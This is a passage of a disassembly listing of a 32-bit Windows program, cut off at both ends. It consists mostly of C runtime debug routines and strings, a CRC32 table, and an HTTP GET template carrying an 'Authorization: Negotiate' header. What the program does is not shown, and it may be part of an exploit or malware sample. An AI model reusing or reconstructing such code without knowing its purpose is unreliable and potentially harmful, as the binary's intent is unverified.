eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_418A30 add esp, 8 neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_418A30 add esp, 8 neg eax sbb eax, eax neg eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_418A30 add esp, 8 xor edx, edx test eax, eax setnle dl mov eax, edx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_4360FC mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433E70 proc near ; CODE XREF: sub_433270+48p ; sub_433360+1Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push esi push edi mov ecx, 8 mov esi, offset dword_436100 lea edi, [ebp+var_20] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_20] push edx call dword_4E04C0 ; RaiseException pop edi pop esi mov esp, ebp pop ebp retn 8 sub_433E70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_408E96 ; --------------------------------------------------------------------------- loc_433EC8: ; DATA XREF: .data:004362ACo lea ecx, [ebp-10h] jmp sub_408EB3 ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_408EB3 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_408ED0 ; --------------------------------------------------------------------------- loc_433EE0: ; DATA XREF: .data:loc_408986o mov eax, offset dword_4362C0 jmp sub_418DE0 ; --------------------------------------------------------------------------- align 4 loc_433EEC: ; DATA XREF: .data:004362E8o lea ecx, [ebp-3Ch] jmp sub_40BC0F ; --------------------------------------------------------------------------- mov eax, [ebp-24h] and eax, 1 test eax, eax jz locret_433F0A mov ecx, [ebp+8] jmp sub_40BC0F ; --------------------------------------------------------------------------- locret_433F0A: ; CODE XREF: .data:00433EFCj retn ; --------------------------------------------------------------------------- loc_433F0B: ; DATA XREF: sub_40B7B6o mov eax, offset dword_4362EC jmp sub_418DE0 ; --------------------------------------------------------------------------- lea ecx, [ebp+14h] jmp sub_40BC0F ; --------------------------------------------------------------------------- loc_433F1D: ; DATA XREF: .data:00436314o lea ecx, [ebp-1Ch] jmp sub_40BC0F ; --------------------------------------------------------------------------- loc_433F25: ; DATA XREF: sub_40B92Do mov eax, offset dword_436318 jmp sub_418DE0 ; --------------------------------------------------------------------------- align 10h loc_433F30: ; DATA XREF: sub_40C028o mov eax, offset dword_436368 jmp sub_418DE0 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40BC0F retn ; =============== S U B R O U T I N E ======================================= SEH_433270 proc near ; DATA XREF: sub_433270+5o mov eax, offset dword_436408 jmp sub_418DE0 SEH_433270 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_433CB0 retn ; =============== S U B R O U T I N E ======================================= SEH_4332D0 proc near ; DATA XREF: sub_4332D0+5o mov eax, offset dword_436430 jmp sub_418DE0 SEH_4332D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_433CB0 retn ; =============== S U B R O U T I N E ======================================= SEH_433390 proc near ; DATA XREF: sub_433390+5o mov eax, offset dword_436478 jmp sub_418DE0 SEH_433390 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] call sub_433CB0 retn ; =============== S U B R O U T I N E ======================================= SEH_433450 proc near ; DATA XREF: sub_433450+5o mov eax, offset dword_4364A0 jmp sub_418DE0 SEH_433450 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40BC0F retn ; =============== S U B R O U T I N E ======================================= SEH_433570 proc near ; DATA XREF: sub_433570+5o mov eax, offset dword_436508 jmp sub_418DE0 SEH_433570 endp ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) dd 476FAB24h, 0 dd 2, 70h, 0 dd 4CC00h, 0 dword_434020 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40B92D+68o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_434460 dq 1.388888888888889e-2 ; DATA XREF: sub_40B76A+2Fr dbl_434468 dq 1.666666666666667e-1 ; DATA XREF: sub_40B76A+15r dbl_434470 dq 1.333333333333333 ; DATA XREF: sub_40B7B6+70r dword_434478 dd 2 dup(0) dbl_434480 dq 9.765625e-4 ; DATA XREF: sub_410C53+2B8r ; sub_410C53+2CDr ... dbl_434488 dq -3.0517578125e-5 ; DATA XREF: sub_412243+2Br dword_434490 dd 6F6C6366h, 632E6573h, 0 ; sub_414FD0+25o dword_43449C dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; sub_419FD0+Do ... dword_4344AC dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h ; DATA XREF: sub_414FD0+1Co ; sub_4185F0+15o ... dd 6572h, 545243h, 6D726F4Eh, 6C61h aFree db 'Free',0 ; DATA XREF: .data:off_444E80o align 10h dword_4344E0 dd 0FFFFFFFFh, 0 dd offset sub_41516D aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: sub_4151D0:loc_41533Ao ; sub_415640:loc_4157C0o align 10h aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_4151D0+11Bo aS_20 db '%s',0 ; DATA XREF: sub_4151D0+BCo ; sub_4151D0+16Fo ... align 4 aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: sub_4151D0:loc_415287o align 4 aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_4151D0+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_4151D0+31o ; sub_415640+77o ... align 10h a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_4151D0+25o ; sub_415640+6Bo ... align 8 dword_4345C8 dd 0FFFFFFFFh, 0 dd offset sub_415613 a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_415640+499o align 10h a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_415640+445o align 4 aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: sub_415640:loc_415A26o align 10h a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: sub_415640+277o align 4 aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: sub_415640:loc_415851o db 'REQ',0 align 4 a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_415640+1B6o ; sub_415CD0+A8o ... align 4 aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: sub_415640+136o align 4 aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: sub_415640:loc_41573Fo aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_415640+DCo align 8 dword_434778 dd 0FFFFFFFFh, 0 dd offset sub_415BF3 align 8 dword_434788 dd 0FFFFFFFFh, 0 dd offset sub_415CB2 a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_415CD0+35Do align 4 a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_415CD0+307o align 4 aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_415CD0+29Co ; sub_4160E0+133o align 4 aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_415CD0:loc_415EF4o align 4 aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_415CD0+1E5o ; sub_416420+265o align 10h aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_415CD0+17Fo ; sub_416420+208o align 4 a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_415CD0+10Ao ; sub_4160E0+E2o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_415CD0:loc_415D3Do align 10h dword_4348C0 dd 0FFFFFFFFh, 0 dd offset sub_416251 align 10h dword_4348D0 dd 0FFFFFFFFh, 0 dd offset sub_41634D aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: sub_416390+54o align 4 aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_416420+33Ao align 4 aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_416420+307o aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_416420+2BEo align 10h aDamaged db 'DAMAGED',0 ; DATA XREF: sub_416420:loc_4165F4o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_416420:loc_41654Co align 4 a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_416420:loc_416524o align 4 a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_416420:loc_4164FCo align 4 a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_416420:loc_4164D4o align 10h a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_416420:loc_4164A9o align 8 dword_434A58 dd 0FFFFFFFFh, 0 dd offset sub_416795 align 8 dword_434A68 dd 0FFFFFFFFh, 0 dd offset sub_41688D align 8 dword_434A78 dd 0FFFFFFFFh, 0 dd offset sub_416B36 aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_416B80+13Co align 4 a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_416B80:loc_416BA9o dword_434AD0 dd 0FFFFFFFFh, 0 dd offset sub_416D08 a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: .data:loc_416D52o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_416E60:loc_41711Co align 4 aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_416E60+271o align 10h aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: sub_416E60+214o aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_416E60+1A9o aLd db '{%ld} ',0 ; DATA XREF: sub_416E60+15Ao align 4 aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_416E60+132o align 10h aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_416E60+101o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_416E60:loc_416E9Bo dword_434BE8 dd 0FFFFFFFFh, 0 dd offset sub_417111 aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_417160+ECo a_2x db '%.2X ',0 ; DATA XREF: sub_417160+BFo align 4 aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_417280:loc_4172B4o aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .data:0041739Do align 4 aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .data:00417375o align 4 aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .data:0041734Bo align 4 aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4175E0+95o align 4 aModeNull db 'mode != NULL',0 ; DATA XREF: sub_4175E0+67o ; sub_4201D0+4Fo align 4 aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4175E0+3Do align 10h aFopen_c db 'fopen.c',0 ; DATA XREF: sub_4175E0+18o ; sub_4175E0+46o ... aFileNull db 'file != NULL',0 ; DATA XREF: sub_4175E0+Fo align 4 aFormatNull db 'format != NULL',0 ; DATA XREF: sub_417CB0+45o ; sub_417E80+45o ... align 4 aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_417CB0+24o ; sub_417CB0+4Eo ... align 4 aStringNull db 'string != NULL',0 ; DATA XREF: sub_417CB0+1Bo ; sub_417E80+1Bo ... align 4 aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_4185F0+1Eo ; sub_4185F0+48o align 10h aFgets_c db 'fgets.c',0 ; DATA XREF: sub_4186C0+24o ; sub_4186C0+4Eo aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_418C10+1Eo ; sub_418C10+48o align 4 aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_419670+24o ; sub_419670+4Eo align 10h dbl_434D30 dq 1.0 ; DATA XREF: sub_419730+99r ; sub_419950+99r ... dword_434D38 dd 64676264h, 632E6C65h, 7070hdword_434D44 dd 78656E6Fh, 632E7469h, 0 ; sub_419F80+8o dword_434D50 dd 65657366h, 632E6Bh ; sub_41A040+19o dword_434D58 dd 7473626Dh, 7363776Fh, 632Ehdword_434D64 dd 3D212073h, 4C554E20h, 4Chdword_434D70 dd 0FFFFFFFFh, 41AC32h, 41AC4Dhdword_434D7C dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh ; DATA XREF: sub_41ACD0+31o ; sub_41ACD0+65o ... dd 64656C69h, 0 aError db 'Error',0 ; DATA XREF: .data:00445178o align 10h aWarning db 'Warning',0 ; DATA XREF: .data:off_445174o aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_41B010+1FFo asc_434DB4: ; DATA XREF: sub_41B010:loc_41B1E6o dw 0Ah unicode 0, <>,0 asc_434DB8: ; DATA XREF: sub_41B010+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41B010:loc_41B185o align 10h aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41B010+169o align 4 a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: sub_41B010+149o ; sub_41B010+21Co ... align 10h aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: sub_41B010+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41B010+B6o align 10h aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41B010+9Co ; sub_4293F0+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41B3A0+2C2o align 10h aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41B3A0+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: sub_41B3A0+221o db 'Module: ',0 align 10h aFile db 0Ah ; DATA XREF: sub_41B3A0+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: sub_41B3A0+1AAo db 'Line: ',0 asc_434EF0 db 0Ah ; DATA XREF: sub_41B3A0+173o ; sub_428880+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: sub_41B3A0+153o align 4 dword_434F04 dd 0 ; sub_41B3A0:loc_41B4D9o ... aForInformation db 0Ah ; DATA XREF: sub_41B3A0+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 a___ db '...',0 ; DATA XREF: sub_41B3A0+9Co ; sub_41B3A0+F4o ... aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41B3A0+56o ; sub_428880+EDo align 4 aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41B3A0+1Fo align 4 aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41B3A0+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_41B7E0+15o align 4 aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41BC80+16o dword_434FD0 dd 0FFFFFFFFh, 0 dd offset sub_41BF25 dd 0FFFFFFFFh, 0 dd offset sub_41BFA7 dword_434FE8 dd 0FFFFFFFFh, 0 dd offset sub_41C0C1 dd 0FFFFFFFFh, 0 dd offset sub_41C1BA dword_435000 dd 0FFFFFFFFh, 0; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h dd 0FFFFFFFFh, 0 dd offset sub_41C60F dword_435018 dd 0FFFFFFFFh, 0 dd offset sub_41C74B dd 0FFFFFFFFh, 0 dd offset sub_41C7CD dword_435030 dd 0FFFFFFFFh, 0 dd offset sub_41C882 dd 0FFFFFFFFh, 0 dd offset sub_41C8C7 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41F690+B9o align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41F690+5Ao align 4 a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_41FB00+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: sub_4201D0+2Eo ; sub_4201D0+58o ... aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_4201D0+25o align 10h aStream_c db 'stream.c',0 ; DATA XREF: sub_420560+C1o align 4 aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: sub_420720+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_420720+18o ; sub_420720+16Eo align 4 byte_4350F8 db 6 ; DATA XREF: sub_4209A0+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull_0: ; DATA XREF: .data:off_447494o unicode 0, <(null)>,0 align 4 aNull_1 db '(null)',0 ; DATA XREF: .data:off_447490o align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_4209A0+122o align 4 aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4209A0+116o align 4 aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_421840+23o ; sub_421920+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_4226D0+18o ; sub_4226D0+B2o ... align 10h aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_422830+13o align 4 dword_4351B8 dd 0FFFFFFFFh, 422ED9h, 422EE6h, 0dword_4351C8 dd 0FFFFFFFFh, 0 dd offset sub_42310D align 8 dd offset loc_4230CE dd offset loc_4230DB dword_4351E0 dd 0FFFFFFFFh, 42342Ch, 423432h, 0dword_4351F0 dd 0FFFFFFFFh, 4234AEh, 4234BDh, 0dword_435200 dd 0FFFFFFFFh, 0 dd offset sub_4235EE align 10h dd offset loc_4235D0 dd offset loc_4235D6 dword_435218 dd 0FFFFFFFFh, 0 dd offset sub_42369A align 8 dd offset loc_42367C dd offset loc_423682 dword_435230 dd 75706E69h, 632E74h, 6E795Fh, 31795Fh, 30795Fh, 78657266h ; DATA XREF: sub_4236C0+1Eo ; sub_4236C0+4Bo dd 70h, 646F6D66h, 0 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog_0 db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .data:off_447724o align 10h dbl_4352F0 dq 0.0 ; DATA XREF: sub_425310+D7r ; sub_425310+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_425C60+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_425C60+6o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_425F40:loc_425FB8o align 4 aFtell_c db 'ftell.c',0 ; DATA XREF: .data:00426546o ; sub_4265A0+18o aLc_time db 'LC_TIME',0 ; DATA XREF: .data:0044799Co aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: .data:00447990o align 4 aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: .data:00447DA8o aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: .data:00447978o align 4 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .data:0044796Co align 4 aLc_all db 'LC_ALL',0 ; DATA XREF: .data:off_447960o align 10h asc_435370: ; DATA XREF: .data:loc_426D03o ; sub_4270E0+83o unicode 0, <;>,0 asc_435374 db '=;',0 ; DATA XREF: .data:loc_426C31o align 4 aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_426F40+3Eo ; sub_4270E0+1Bo align 4 asc_435384: ; DATA XREF: sub_4270E0+5Bo unicode 0, <=>,0 a___0 db '_.,',0 ; DATA XREF: sub_4273D0:loc_427442o a__1: ; DATA XREF: sub_427530+50o ; sub_42C6F0:loc_42C8EBo unicode 0, <.>,0 a__2: ; DATA XREF: sub_427530+25o unicode 0, <_>,0 dword_435394 dd 0 ; sub_429B60+58o ... dword_435398 dd 2 dup(0) ; sub_429B60+35o ... dword_4353A0 dd 0FFFFFFFFh, 4276E6h, 4276ECh, 0FFFFFFFFh, 4277DCh, 4277E2h ; DATA XREF: sub_4275A0+5o dword_4353B8 dd 65647473h, 2E70766Eh, 63h ; sub_427BE0+D0o dword_4353C4 dd 61647473h, 2E766772h, 63hdword_4353D0 dd 6E655F61h, 632E76h ; sub_428240+1C6o dword_4353D8 dd 6E696F69h, 632E7469h, 0 ; sub_428460+106o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space 